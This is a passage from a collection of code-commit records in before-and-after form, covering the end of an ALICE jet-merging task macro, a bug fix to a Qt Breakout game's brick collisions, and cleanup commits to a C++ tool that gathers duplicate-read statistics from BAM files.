\/\/-------------------------------------------------------\n  \/\/ Init the task and do settings\n  \/\/-------------------------------------------------------\n\n  AliJetModelMergeBranches *jetMerge = new AliJetModelMergeBranches(taskName);\n  jetMerge->SetTracksName(tracksName1);\n  jetMerge->SetTracksMergeName(tracksName2);\n  jetMerge->SetClusName(\"\");\n  jetMerge->SetSuffix(suffix);\n\n  \/\/-------------------------------------------------------\n  \/\/ Final settings, pass to manager and set the containers\n  \/\/-------------------------------------------------------\n\n  mgr->AddTask(jetMerge);\n    \n  \/\/ Create containers for input\/output\n  mgr->ConnectInput (jetMerge, 0, mgr->GetCommonInputContainer() );\n\n  return jetMerge;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"breakout.h\"\n#include <QPainter>\n#include <QApplication>\n\n\/\/Breakout constructor\nBreakout::Breakout(QWidget *parent) : QWidget(parent)\n{\n    \/\/Set up the game states\n    gameOver = false;\n    gameWon = false;\n    paused = false;\n    gameStarted = false;\n    \n    \/\/Create the GameObjects\n    ball = new Ball();\n    paddle = new Paddle();\n    \n    for(int i=0; i<5; i++){\n        for(int j=0; j<6; j++){\n            bricks.push_back(new Brick(j*40+30, i*18+30));\n        }\n    }\n}\n\n\/\/Destructor\nBreakout::~Breakout()\n{\n    delete ball;\n    delete paddle;\n    for(auto& b : bricks){\n        delete b;\n    }\n}\n\n\/\/Overloaded paintEvent\nvoid Breakout::paintEvent(QPaintEvent* event){\n    QPainter painter(this);\n\n    \/\/Display the appropriate text if in the game over or game won states\n    if(gameOver)\n        writeToPainter(&painter,\"Game Over\",height(),width());\n    else if(gameWon)\n        writeToPainter(&painter,\"Victory\",height(),width());\n    \/\/Otherwise draw the GameObjects\n    else{\n        painter.drawImage(*ball->getRect(), *ball->getImage());\n        painter.drawImage(*paddle->getRect(), *paddle->getImage());\n\n        for(const auto& b : bricks){\n            if(!b->isDestroyed())\n                painter.drawImage(*b->getRect(), *b->getImage());\n        }\n    }\n}\n\n\/\/For every timerEvent move the ball, then check for collisions, and finally repaint\nvoid Breakout::timerEvent(QTimerEvent* event){\n    ball->autoMove();\n    checkCollision();\n    repaint();\n}\n\n\/\/Function to handle key events\nvoid Breakout::keyPressEvent(QKeyEvent* event){\n    switch(event->key()){\n        \/\/For left key input move the Paddle left. You move it multiple times to make it smoother\n        case Qt::Key_Left:\n            {\n                int x = paddle->getRect()->x();\n                for(int i=1; i<=5; i++){\n                    paddle->moveLeft(x--);\n                }\n                break;\n            }\n        \/\/For right key input move the Paddle right. You move it multiple times to make it smoother\n        case Qt::Key_Right:\n            {\n                int x = paddle->getRect()->x();\n                for(int i=1; i<=5; i++){\n                    paddle->moveRight(x++);\n                }\n                break;\n            }\n        \/\/The 'p' key will pause the game\n        case Qt::Key_P:\n            {\n                pauseGame();\n                break;\n            }\n        \/\/The space key starts the game \n        case Qt::Key_Space:\n            {\n                startGame();\n                break;\n            }\n        \/\/The escape key closes the application\n        case Qt::Key_Escape:\n            {\n                qApp->exit();\n                break;\n            }\n        default:\n            QWidget::keyPressEvent(event);\n    }\n}\n\n\/\/Function to start the game\nvoid Breakout::startGame(){\n    if(!gameStarted){\n        \/\/Reset the GameObjects\n       ball->resetState();\n       paddle->resetState();\n\n       for(auto& b : bricks){\n           b->setDestroyed(false);\n       }\n       \n       \/\/Update the game states\n       gameOver = false;\n       gameWon = false;\n       gameStarted = true;\n       \n       \/\/Start the game timer\n       timerId = startTimer(10);\n    }\n}\n\n\/\/Function to pause the current game\nvoid Breakout::pauseGame(){\n    \/\/Restart the game if already paused\n    if(paused){\n        timerId = startTimer(10);\n        paused = false;\n    }\n    \/\/Pause the game by killing the current QTimer\n    else{\n        paused = true;\n        killTimer(timerId);\n    }\n}\n\n\/\/Function to end the game\nvoid Breakout::stopGame(){\n    \/\/End the current QTimer and update the game states\n    killTimer(timerId);\n    gameOver = true;\n    gameStarted = false;\n}\n\n\/\/Function to handle winning the game\nvoid Breakout::victory(){\n    \/\/End the QTimer and update the game states\n    killTimer(timerId);\n    gameWon = true;\n    gameStarted = false;\n}\n\n\/\/Function to handle collisions between GameObjects\nvoid Breakout::checkCollision(){\n    \/\/If the Ball moves to the bottom of the screen then end the game\n    if(ball->getRect()->bottom() > 400)\n        stopGame();\n\n    \/\/If all of the Bricks are destroyed then end the game\n    int j = 0;\n    for(const auto& b : bricks){\n        if(b->isDestroyed())\n            j++;\n        if(j==30)\n            victory();\n    }\n\n    \/\/First collision check: Ball and Paddle\n    \/\/Check if the Ball's rect is intersecting the Paddle's rect\n    if((ball->getRect())->intersects(*paddle->getRect())){\n        int paddleLPos = paddle->getRect()->left();\n        int paddleW = paddle->getRect()->width();\n        int ballLPos = ball->getRect()->left();\n\n        \/\/Setup the regions of the paddle to compare with the collision location\n        \/\/They divided the paddle into equal regions from left to right\n        int first = paddleLPos + paddleW\/5;\n        int second = paddleLPos + (2*paddleW)\/5;\n        int third = paddleLPos + (3*paddleW)\/5;\n        int fourth = paddleLPos + (4*paddleW)\/5;\n        int fifth = paddleLPos + paddleW;\n\n        \/\/If the collision occured in the first or second region (farthest 2 regions on the left)\n        \/\/Update the ball to move NW\n        if(ballLPos < first || (ballLPos >= first && ballLPos < second)){\n            ball->setXDir(-1);\n            ball->setYDir(-1);\n        }\n        \/\/If the collision occured in the third region (middle)\n        \/\/Update the ball to move N\n        if(ballLPos >= second && ballLPos < third){\n            ball->setXDir(0);\n            ball->setYDir(-1);\n        }\n        \/\/If the collision occured in the fourth or fifth region (farthest 2 regions on the right)\n        \/\/Update the ball to move NE\n        if(ballLPos >= third && ballLPos < fourth || (ballLPos >= fourth && ballLPos < fifth)){\n            ball->setXDir(1);\n            ball->setYDir(-1);\n        }\n    }\n\n    \/\/Second collision check: Ball and Brick\n    \/\/Iterate through all of the Bricks and check if they currently intersect with the Ball\n    for(auto& b : bricks){\n        if((ball->getRect())->intersects(*b->getRect())){\n            int ballLeft = ball->getRect()->left();\n            int ballHeight = ball->getRect()->height();\n            int ballWidth = ball->getRect()->width();\n            int ballTop = ball->getRect()->top();\n\n            \/\/Create points to check agains that correspond to the Balls bounds\n            QPoint pointRight(ballLeft + ballWidth + 1, ballTop);\n            QPoint pointLeft(ballLeft - 1, ballTop);\n            QPoint pointTop(ballLeft, ballTop - 1);\n            QPoint pointBottom(ballLeft, ballTop + ballHeight + 1);\n\n            \/\/If the current Brick hasn't been destroyed then check if it's intersecting one of the points\n            \/\/and update the x and y dir accordingly\n            if(!b->isDestroyed()){\n                if(b->getRect()->contains(pointRight))\n                    ball->setXDir(-1);\n                else if(b->getRect()->contains(pointLeft))\n                    ball->setXDir(1);\n                if(b->getRect()->contains(pointTop))\n                    ball->setYDir(1);\n                else if(b->getRect()->contains(pointBottom))\n                    ball->setYDir(-1);\n                \/\/Finally set that Brick to be destroyed\n                b->setDestroyed(true);\n            }\n        }\n    }\n}\n\n\/\/Helper function for the text events when the game ends\nvoid Breakout::writeToPainter(QPainter* p, QString s, int h, int w){\n    \/\/Basic text setup\n    QFont font(\"Courier\", 15, QFont::DemiBold);\n    QFontMetrics fm(font);\n    int textWidth = fm.width(s);\n\n    p->setFont(font);\n\n    \/\/Draw the text in the middle of the screen\n    p->translate(QPoint(w\/2,h\/2));\n    p->drawText(-textWidth\/2, 0, s);\n}\n<commit_msg>Bug fix: 1 brick collision per event<commit_after>#include \"breakout.h\"\n#include <QPainter>\n#include <QApplication>\n\n\/\/Breakout constructor\nBreakout::Breakout(QWidget *parent) : QWidget(parent)\n{\n    \/\/Set up the game states\n    gameOver = false;\n    gameWon = false;\n    paused = false;\n    gameStarted = false;\n    \n    \/\/Create the GameObjects\n    ball = new Ball();\n    paddle = new Paddle();\n    \n    for(int i=0; i<5; i++){\n        for(int j=0; j<6; j++){\n            bricks.push_back(new Brick(j*40+30, i*18+30));\n        }\n    }\n}\n\n\/\/Destructor\nBreakout::~Breakout()\n{\n    delete ball;\n    delete paddle;\n    for(auto& b : bricks){\n        delete b;\n    }\n}\n\n\/\/Overloaded paintEvent\nvoid Breakout::paintEvent(QPaintEvent* event){\n    QPainter painter(this);\n\n    \/\/Display the appropriate text if in the game over or game won states\n    if(gameOver)\n        writeToPainter(&painter,\"Game Over\",height(),width());\n    else if(gameWon)\n        writeToPainter(&painter,\"Victory\",height(),width());\n    \/\/Otherwise draw the GameObjects\n    else{\n        painter.drawImage(*ball->getRect(), *ball->getImage());\n        painter.drawImage(*paddle->getRect(), *paddle->getImage());\n\n        for(const auto& b : bricks){\n            if(!b->isDestroyed())\n                painter.drawImage(*b->getRect(), *b->getImage());\n        }\n    }\n}\n\n\/\/For every timerEvent move the ball, then check for collisions, and finally repaint\nvoid Breakout::timerEvent(QTimerEvent* event){\n    ball->autoMove();\n    checkCollision();\n    repaint();\n}\n\n\/\/Function to handle key events\nvoid Breakout::keyPressEvent(QKeyEvent* event){\n    switch(event->key()){\n        \/\/For left key input move the Paddle left. You move it multiple times to make it smoother\n        case Qt::Key_Left:\n            {\n                int x = paddle->getRect()->x();\n                for(int i=1; i<=5; i++){\n                    paddle->moveLeft(x--);\n                }\n                break;\n            }\n        \/\/For right key input move the Paddle right. You move it multiple times to make it smoother\n        case Qt::Key_Right:\n            {\n                int x = paddle->getRect()->x();\n                for(int i=1; i<=5; i++){\n                    paddle->moveRight(x++);\n                }\n                break;\n            }\n        \/\/The 'p' key will pause the game\n        case Qt::Key_P:\n            {\n                pauseGame();\n                break;\n            }\n        \/\/The space key starts the game \n        case Qt::Key_Space:\n            {\n                startGame();\n                break;\n            }\n        \/\/The escape key closes the application\n        case Qt::Key_Escape:\n            {\n                qApp->exit();\n                break;\n            }\n        default:\n            QWidget::keyPressEvent(event);\n    }\n}\n\n\/\/Function to start the game\nvoid Breakout::startGame(){\n    if(!gameStarted){\n        \/\/Reset the GameObjects\n       ball->resetState();\n       paddle->resetState();\n\n       for(auto& b : bricks){\n           b->setDestroyed(false);\n       }\n       \n       \/\/Update the game states\n       gameOver = false;\n       gameWon = false;\n       gameStarted = true;\n       \n       \/\/Start the game timer\n       timerId = startTimer(10);\n    }\n}\n\n\/\/Function to pause the current game\nvoid Breakout::pauseGame(){\n    \/\/Restart the game if already paused\n    if(paused){\n        timerId = startTimer(10);\n        paused = false;\n    }\n    \/\/Pause the game by killing the current QTimer\n    else{\n        paused = true;\n        killTimer(timerId);\n    }\n}\n\n\/\/Function to end the game\nvoid Breakout::stopGame(){\n    \/\/End the current QTimer and update the game states\n    killTimer(timerId);\n    gameOver = true;\n    gameStarted = false;\n}\n\n\/\/Function to handle winning the game\nvoid Breakout::victory(){\n    \/\/End the QTimer and update the game states\n    killTimer(timerId);\n    gameWon = true;\n    gameStarted = false;\n}\n\n\/\/Function to handle collisions between GameObjects\nvoid Breakout::checkCollision(){\n    \/\/If the Ball moves to the bottom of the screen then end the game\n    if(ball->getRect()->bottom() > 400)\n        stopGame();\n\n    \/\/If all of the Bricks are destroyed then end the game\n    int j = 0;\n    for(const auto& b : bricks){\n        if(b->isDestroyed())\n            j++;\n        if(j==30)\n            victory();\n    }\n\n    \/\/First collision check: Ball and Paddle\n    \/\/Check if the Ball's rect is intersecting the Paddle's rect\n    if((ball->getRect())->intersects(*paddle->getRect())){\n        int paddleLPos = paddle->getRect()->left();\n        int paddleW = paddle->getRect()->width();\n        int ballLPos = ball->getRect()->left();\n\n        \/\/Setup the regions of the paddle to compare with the collision location\n        \/\/They divided the paddle into equal regions from left to right\n        int first = paddleLPos + paddleW\/5;\n        int second = paddleLPos + (2*paddleW)\/5;\n        int third = paddleLPos + (3*paddleW)\/5;\n        int fourth = paddleLPos + (4*paddleW)\/5;\n        int fifth = paddleLPos + paddleW;\n\n        \/\/If the collision occured in the first or second region (farthest 2 regions on the left)\n        \/\/Update the ball to move NW\n        if(ballLPos < first || (ballLPos >= first && ballLPos < second)){\n            ball->setXDir(-1);\n            ball->setYDir(-1);\n        }\n        \/\/If the collision occured in the third region (middle)\n        \/\/Update the ball to move N\n        if(ballLPos >= second && ballLPos < third){\n            ball->setXDir(0);\n            ball->setYDir(-1);\n        }\n        \/\/If the collision occured in the fourth or fifth region (farthest 2 regions on the right)\n        \/\/Update the ball to move NE\n        if(ballLPos >= third && ballLPos < fourth || (ballLPos >= fourth && ballLPos < fifth)){\n            ball->setXDir(1);\n            ball->setYDir(-1);\n        }\n    }\n\n    \/\/Second collision check: Ball and Brick\n    \/\/Iterate through all of the Bricks and check if they currently intersect with the Ball\n    for(auto& b : bricks){\n        if((ball->getRect())->intersects(*b->getRect())){\n            int ballLeft = ball->getRect()->left();\n            int ballHeight = ball->getRect()->height();\n            int ballWidth = ball->getRect()->width();\n            int ballTop = ball->getRect()->top();\n\n            \/\/Create points to check agains that correspond to the Balls bounds\n            QPoint pointRight(ballLeft + ballWidth + 1, ballTop);\n            QPoint pointLeft(ballLeft - 1, ballTop);\n            QPoint pointTop(ballLeft, ballTop - 1);\n            QPoint pointBottom(ballLeft, ballTop + ballHeight + 1);\n\n            \/\/If the current Brick hasn't been destroyed then check if it's intersecting one of the points\n            \/\/and update the x and y dir accordingly\n            if(!b->isDestroyed()){\n                if(b->getRect()->contains(pointRight))\n                    ball->setXDir(-1);\n                else if(b->getRect()->contains(pointLeft))\n                    ball->setXDir(1);\n                if(b->getRect()->contains(pointTop))\n                    ball->setYDir(1);\n                else if(b->getRect()->contains(pointBottom))\n                    ball->setYDir(-1);\n                \/\/Finally set that Brick to be destroyed\n                b->setDestroyed(true);\n                break;\n            }\n        }\n    }\n}\n\n\/\/Helper function for the text events when the game ends\nvoid Breakout::writeToPainter(QPainter* p, QString s, int h, int w){\n    \/\/Basic text setup\n    QFont font(\"Courier\", 15, QFont::DemiBold);\n    QFontMetrics fm(font);\n    int textWidth = fm.width(s);\n\n    p->setFont(font);\n\n    \/\/Draw the text in the middle of the screen\n    p->translate(QPoint(w\/2,h\/2));\n    p->drawText(-textWidth\/2, 0, s);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\nmay need to code against htslib rather than samtools.\n\nFor each read in the BAM file:\n    calculate the 5' ends of the fragment:\n    if last 5' end seen is less than the current 5' end:\n        flush buffers, gathering stats on duplicates\n    if last 5' end seen is greater than the current 5' end BAM is unsorted and freak out\n    create signature and add to buffer\n\non buffer flush:\n    for each signatures:\n        skip if count is 1\n        add number of reads in signature to histogram of duplicate fragments\n        sort into bins by tile\n        for each tile, create distance matrix\n            increment counts in distance histogram\n    clear out signatures hash\n\nfor each read we need:\n    read name\n    chromosome\n    position\n    a populated mate cigar tag (MC:Z:)\n    tlen\n\nwe need a method to parse out readnames\nwe need a method to determine how far apart two readnames are\nwe need a method to generate a signature\nwe need a method to expand the cigar strings for the signature\nwe need a histogram template\n\nwe need a small amount of test data\n\ndiagnose_dups -i bam_file -o dup_stats\n*\/\n\n#include \"common\/Histogram.hpp\"\n#include \"common\/Options.hpp\"\n#include \"diagnose_dups\/BundleProcessor.hpp\"\n#include \"diagnose_dups\/Read.hpp\"\n#include \"diagnose_dups\/Signature.hpp\"\n#include \"diagnose_dups\/SignatureBundle.hpp\"\n#include \"io\/BamRecord.hpp\"\n#include \"io\/SamReader.hpp\"\n\n#include <sam.h>\n\n#include <boost\/format.hpp>\n#include <boost\/timer\/timer.hpp>\n\n#include <fstream>\n#include <iostream>\n#include <iomanip>\n#include <stdexcept>\n\nusing namespace std;\nusing boost::format;\n\nnamespace {\n    void run(Options const& opts) {\n        boost::timer::auto_cpu_timer timer(std::cerr);\n        std::ofstream out;\n        std::ostream* out_ptr = &std::cout;\n        if (!opts.output_file.empty() && opts.output_file != \"-\") {\n            out.open(opts.output_file.c_str());\n            if (!out) {\n                throw std::runtime_error(str(format(\n                    \"Failed to open output file %1%\"\n                    ) % opts.output_file));\n            }\n            out_ptr = &out;\n        }\n\n        SamReader reader(opts.input_file.c_str(), \"r\");\n        reader.required_flags(BAM_FPROPER_PAIR);\n        reader.skip_flags(BAM_FSECONDARY | BAM_FQCFAIL | BAM_FREAD2 | BAM_FSUPPLEMENTARY);\n\n        BamRecord record;\n        SignatureBundle bundle;\n        BundleProcessor proc;\n        std::size_t parse_failures = 0;\n        while (reader.next(record)) {\n            int rv = bundle.add(record);\n            if (rv == -1) {\n                if (++parse_failures <= 5) {\n                    std::cerr << \"Failed to parse bam record, name = \"\n                        << bam_get_qname(record) << \"\\n\";\n                    if (parse_failures == 5)\n                        std::cerr << \"max warning limit reached, disabling...\\n\";\n                }\n\n                \/\/ XXX: would you rather abort?\n                continue;\n            }\n            else if (rv == 0) {\n                proc.process(bundle);\n                bundle.clear();\n                \/\/if rv was 0 then the attempt to previously add this read\n                \/\/failed and it needs to be re-added to this fresh bundle\n                bundle.add(record);\n            }\n        }\n\n        if (parse_failures) {\n            double pct = parse_failures * 100.0;\n            pct \/= reader.record_count();\n\n            std::cerr << \"\\nWARNING: failed to parse read names for \" << parse_failures\n                << \" \/ \" << reader.record_count() << \" records (\"\n                << fixed << setprecision(2) << pct << \"%).\\n\\n\";\n        }\n\n        \/\/ don't forget the last bundle\n        proc.process(bundle);\n        proc.write_output(*out_ptr);\n    }\n}\n\nint main(int argc, char** argv) {\n    try {\n        Options opts = Options(argc, argv);\n        run(opts);\n    }\n    catch (std::exception const& ex) {\n        std::cerr << \"ERROR: \" << ex.what() << \"\\n\";\n        return 1;\n    }\n\n    return 0;\n}\n<commit_msg>remove comments<commit_after>#include \"common\/Histogram.hpp\"\n#include \"common\/Options.hpp\"\n#include \"diagnose_dups\/BundleProcessor.hpp\"\n#include \"diagnose_dups\/Read.hpp\"\n#include \"diagnose_dups\/Signature.hpp\"\n#include \"diagnose_dups\/SignatureBundle.hpp\"\n#include \"io\/BamRecord.hpp\"\n#include \"io\/SamReader.hpp\"\n\n#include <sam.h>\n\n#include <boost\/format.hpp>\n#include <boost\/timer\/timer.hpp>\n\n#include <fstream>\n#include <iostream>\n#include <iomanip>\n#include <stdexcept>\n\nusing namespace std;\nusing boost::format;\n\nnamespace {\n    void run(Options const& opts) {\n        boost::timer::auto_cpu_timer timer(std::cerr);\n        std::ofstream out;\n        std::ostream* out_ptr = &std::cout;\n        if (!opts.output_file.empty() && opts.output_file != \"-\") {\n            out.open(opts.output_file.c_str());\n            if (!out) {\n                throw std::runtime_error(str(format(\n                    \"Failed to open output file %1%\"\n                    ) % opts.output_file));\n            }\n            out_ptr = &out;\n        }\n\n        SamReader reader(opts.input_file.c_str(), \"r\");\n        reader.required_flags(BAM_FPROPER_PAIR);\n        reader.skip_flags(BAM_FSECONDARY | BAM_FQCFAIL | BAM_FREAD2 | BAM_FSUPPLEMENTARY);\n\n        BamRecord record;\n        SignatureBundle bundle;\n        BundleProcessor proc;\n        std::size_t parse_failures = 0;\n        while (reader.next(record)) {\n            int rv = bundle.add(record);\n            if (rv == -1) {\n                if (++parse_failures <= 5) {\n                    std::cerr << \"Failed to parse bam record, name = \"\n                        << bam_get_qname(record) << \"\\n\";\n                    if (parse_failures == 5)\n                        std::cerr << \"max warning limit reached, disabling...\\n\";\n                }\n\n                \/\/ XXX: would you rather abort?\n                continue;\n            }\n            else if (rv == 0) {\n                proc.process(bundle);\n                bundle.clear();\n                \/\/if rv was 0 then the attempt to previously add this read\n                \/\/failed and it needs to be re-added to this fresh bundle\n                bundle.add(record);\n            }\n        }\n\n        if (parse_failures) {\n            double pct = parse_failures * 100.0;\n            pct \/= reader.record_count();\n\n            std::cerr << \"\\nWARNING: failed to parse read names for \" << parse_failures\n                << \" \/ \" << reader.record_count() << \" records (\"\n                << fixed << setprecision(2) << pct << \"%).\\n\\n\";\n        }\n\n        \/\/ don't forget the last bundle\n        proc.process(bundle);\n        proc.write_output(*out_ptr);\n    }\n}\n\nint main(int argc, char** argv) {\n    try {\n        Options opts = Options(argc, argv);\n        run(opts);\n    }\n    catch (std::exception const& ex) {\n        std::cerr << \"ERROR: \" << ex.what() << \"\\n\";\n        return 1;\n    }\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\nmay need to code against htslib rather than samtools.\n\nFor each read in the BAM file:\n    calculate the 5' ends of the fragment:\n    if last 5' end seen is less than the current 5' end:\n        flush buffers, gathering stats on duplicates\n    if last 5' end seen is greater than the current 5' end BAM is unsorted and freak out\n    create signature and add to buffer\n\non buffer flush:\n    for each signatures:\n        skip if count is 1\n        add number of reads in signature to histogram of duplicate fragments\n        sort into bins by tile\n        for each tile, create distance matrix\n            increment counts in distance histogram\n    clear out signatures hash\n\nfor each read we need:\n    read name\n    chromosome\n    position\n    a populated mate cigar tag (MC:Z:)\n    tlen\n\nwe need a method to parse out readnames\nwe need a method to determine how far apart two readnames are\nwe need a method to generate a signature\nwe need a method to expand the cigar strings for the signature\nwe need a histogram template\n\nwe need a small amount of test data\n\ndiagnose_dups -i bam_file -o dup_stats \n*\/\n\n#include \"common\/Options.hpp\"\n#include \"diagnose_dups\/Read.hpp\"\n#include \"diagnose_dups\/Signature.hpp\"\n\n#include <boost\/unordered_map.hpp>\n\n#include <sam.h>\n#include <iostream>\n\nusing namespace std;\n\nint main(int argc, char** argv) {\n    Options opts = Options(argc, argv);\n\n    htsFile *fp = hts_open(opts.vm[\"input\"].as<string>().c_str(), \"r\");\n    if(fp == 0) {\n       cerr << \"Unable to open \" << opts.vm[\"input\"].as<string>() << \"\\n\";\n       exit(1);\n    }\n    bam_hdr_t *header = sam_hdr_read(fp);\n    bam1_t *record = bam_init1();\n    \n    typedef vector<Read> read_vector;\n    typedef boost::unordered_map<Signature, read_vector> signature_map;\n    signature_map signatures;\n\n    int32_t last_pos = -1;\n    int32_t last_tid = -1;\n    int32_t pos_window = 300;\n\n    typedef boost::unordered_map<uint64_t, uint64_t> histogram;\n    histogram dup_insert_sizes;\n    histogram nondup_insert_sizes;\n    histogram distances;\n    histogram number_of_dups;\n\n    Read read;\n    while(sam_read1(fp, header, record) >= 0) {\n        \/\/skip non-properly paired alignments, they're not going to tell us anything about dups\n        \/\/as well as anything secondary, qcfail or supplementary\n        if(!(record->core.flag & BAM_FPROPER_PAIR)\n                || (record->core.flag & (BAM_FSECONDARY | BAM_FQCFAIL | BAM_FSUPPLEMENTARY) ) \n                || (record->core.flag & BAM_FREAD2)) {\n            continue;\n        }\n\n        if (!parse_read(record, read)) {\n            std::cerr << \"Failed to parse bam record, name = \" << bam_get_qname(record) << \"\\n\";\n            \/\/ XXX: would you rather abort?\n            continue;\n        }\n\n        Signature sig(record);\n        if(last_pos > -1) {\n            \/\/grab iterators\n            \/\/iterate over sigs in signatures\n            for(signature_map::iterator i = signatures.begin(); i != signatures.end(); ++i) {\n\n                if(last_tid != sig.tid \n                        || (last_tid == i->first.tid && (last_pos - pos_window) > i->first.pos)) {\n                    if(i->second.size() > 1) {\n                        \/\/it's a dup\n\n                        \/\/add up number of dups\n                        number_of_dups[i->second.size()] += 1;\n\n                        typedef vector<Read>::iterator read_vec_iter;\n                        for(read_vec_iter current_read_iter = i->second.begin(); current_read_iter != i->second.end() - 1; ++current_read_iter) {\n                            dup_insert_sizes[abs(current_read_iter->insert_size)] += 1;\n                            nondup_insert_sizes[abs(current_read_iter->insert_size)] += 0;\n                            for(read_vec_iter distance_calc_iter = current_read_iter + 1; distance_calc_iter != i->second.end(); ++distance_calc_iter) {\n                                if(is_on_same_tile(*current_read_iter, *distance_calc_iter)) {\n                                    uint64_t flow_cell_distance = euclidean_distance(*current_read_iter, *distance_calc_iter);\n                                    distances[flow_cell_distance] += 1;\n                                }\n                            }\n                        }\n                    }\n                    else {\n                        nondup_insert_sizes[abs(i->second[0].insert_size)] += 1;\n                        dup_insert_sizes[abs(i->second[0].insert_size)] += 0;\n                    }\n                    signatures.erase(i);\n                }\n            }\n        }\n        signatures[sig].push_back(read);\n        last_tid = sig.tid;\n        last_pos = sig.pos;\n    }\n    bam_destroy1(record);\n    bam_hdr_destroy(header);\n    hts_close(fp);\n\n    cout << \"Inter-tile distance\\tFrequency\\n\";\n    for(histogram::iterator i = distances.begin(); i != distances.end(); ++i) {\n        cout << i->first << \"\\t\" << i->second << \"\\n\";\n    }\n    cout << \"\\n\";\n\n    cout << \"Number of dups at location\\tFrequency\\n\";\n    for(histogram::iterator i = number_of_dups.begin(); i != number_of_dups.end(); ++i) {\n        cout << i->first << \"\\t\" << i->second << \"\\n\";\n    }\n    cout << \"\\n\";\n\n    cout << \"Size\\tUniq frequency\\tDup Frequency\\n\";\n    for(histogram::iterator i = nondup_insert_sizes.begin(); i != nondup_insert_sizes.end(); ++i) {\n        cout << i->first << \"\\t\" << i->second << \"\\t\" << dup_insert_sizes[i->first] << \"\\n\";\n    }\n\n    return 0;\n}\n<commit_msg>fix whitespace<commit_after>\/*\nmay need to code against htslib rather than samtools.\n\nFor each read in the BAM file:\n    calculate the 5' ends of the fragment:\n    if last 5' end seen is less than the current 5' end:\n        flush buffers, gathering stats on duplicates\n    if last 5' end seen is greater than the current 5' end BAM is unsorted and freak out\n    create signature and add to buffer\n\non buffer flush:\n    for each signatures:\n        skip if count is 1\n        add number of reads in signature to histogram of duplicate fragments\n        sort into bins by tile\n        for each tile, create distance matrix\n            increment counts in distance histogram\n    clear out signatures hash\n\nfor each read we need:\n    read name\n    chromosome\n    position\n    a populated mate cigar tag (MC:Z:)\n    tlen\n\nwe need a method to parse out readnames\nwe need a method to determine how far apart two readnames are\nwe need a method to generate a signature\nwe need a method to expand the cigar strings for the signature\nwe need a histogram template\n\nwe need a small amount of test data\n\ndiagnose_dups -i bam_file -o dup_stats\n*\/\n\n#include \"common\/Options.hpp\"\n#include \"diagnose_dups\/Read.hpp\"\n#include \"diagnose_dups\/Signature.hpp\"\n\n#include <boost\/unordered_map.hpp>\n\n#include <sam.h>\n#include <iostream>\n\nusing namespace std;\n\nint main(int argc, char** argv) {\n    Options opts = Options(argc, argv);\n\n    htsFile *fp = hts_open(opts.vm[\"input\"].as<string>().c_str(), \"r\");\n    if(fp == 0) {\n       cerr << \"Unable to open \" << opts.vm[\"input\"].as<string>() << \"\\n\";\n       exit(1);\n    }\n    bam_hdr_t *header = sam_hdr_read(fp);\n    bam1_t *record = bam_init1();\n\n    typedef vector<Read> read_vector;\n    typedef boost::unordered_map<Signature, read_vector> signature_map;\n    signature_map signatures;\n\n    int32_t last_pos = -1;\n    int32_t last_tid = -1;\n    int32_t pos_window = 300;\n\n    typedef boost::unordered_map<uint64_t, uint64_t> histogram;\n    histogram dup_insert_sizes;\n    histogram nondup_insert_sizes;\n    histogram distances;\n    histogram number_of_dups;\n\n    Read read;\n    while(sam_read1(fp, header, record) >= 0) {\n        \/\/skip non-properly paired alignments, they're not going to tell us anything about dups\n        \/\/as well as anything secondary, qcfail or supplementary\n        if(!(record->core.flag & BAM_FPROPER_PAIR)\n                || (record->core.flag & (BAM_FSECONDARY | BAM_FQCFAIL | BAM_FSUPPLEMENTARY) )\n                || (record->core.flag & BAM_FREAD2)) {\n            continue;\n        }\n\n        if (!parse_read(record, read)) {\n            std::cerr << \"Failed to parse bam record, name = \" << bam_get_qname(record) << \"\\n\";\n            \/\/ XXX: would you rather abort?\n            continue;\n        }\n\n        Signature sig(record);\n        if(last_pos > -1) {\n            \/\/grab iterators\n            \/\/iterate over sigs in signatures\n            for(signature_map::iterator i = signatures.begin(); i != signatures.end(); ++i) {\n\n                if(last_tid != sig.tid\n                        || (last_tid == i->first.tid && (last_pos - pos_window) > i->first.pos)) {\n                    if(i->second.size() > 1) {\n                        \/\/it's a dup\n\n                        \/\/add up number of dups\n                        number_of_dups[i->second.size()] += 1;\n\n                        typedef vector<Read>::iterator read_vec_iter;\n                        for(read_vec_iter current_read_iter = i->second.begin(); current_read_iter != i->second.end() - 1; ++current_read_iter) {\n                            dup_insert_sizes[abs(current_read_iter->insert_size)] += 1;\n                            nondup_insert_sizes[abs(current_read_iter->insert_size)] += 0;\n                            for(read_vec_iter distance_calc_iter = current_read_iter + 1; distance_calc_iter != i->second.end(); ++distance_calc_iter) {\n                                if(is_on_same_tile(*current_read_iter, *distance_calc_iter)) {\n                                    uint64_t flow_cell_distance = euclidean_distance(*current_read_iter, *distance_calc_iter);\n                                    distances[flow_cell_distance] += 1;\n                                }\n                            }\n                        }\n                    }\n                    else {\n                        nondup_insert_sizes[abs(i->second[0].insert_size)] += 1;\n                        dup_insert_sizes[abs(i->second[0].insert_size)] += 0;\n                    }\n                    signatures.erase(i);\n                }\n            }\n        }\n        signatures[sig].push_back(read);\n        last_tid = sig.tid;\n        last_pos = sig.pos;\n    }\n    bam_destroy1(record);\n    bam_hdr_destroy(header);\n    hts_close(fp);\n\n    cout << \"Inter-tile distance\\tFrequency\\n\";\n    for(histogram::iterator i = distances.begin(); i != distances.end(); ++i) {\n        cout << i->first << \"\\t\" << i->second << \"\\n\";\n    }\n    cout << \"\\n\";\n\n    cout << \"Number of dups at location\\tFrequency\\n\";\n    for(histogram::iterator i = number_of_dups.begin(); i != number_of_dups.end(); ++i) {\n        cout << i->first << \"\\t\" << i->second << \"\\n\";\n    }\n    cout << \"\\n\";\n\n    cout << \"Size\\tUniq frequency\\tDup Frequency\\n\";\n    for(histogram::iterator i = nondup_insert_sizes.begin(); i != nondup_insert_sizes.end(); ++i) {\n        cout << i->first << \"\\t\" << i->second << \"\\t\" << dup_insert_sizes[i->first] << \"\\n\";\n    }\n\n    return 0;\n}\n<|endoftext|>"}
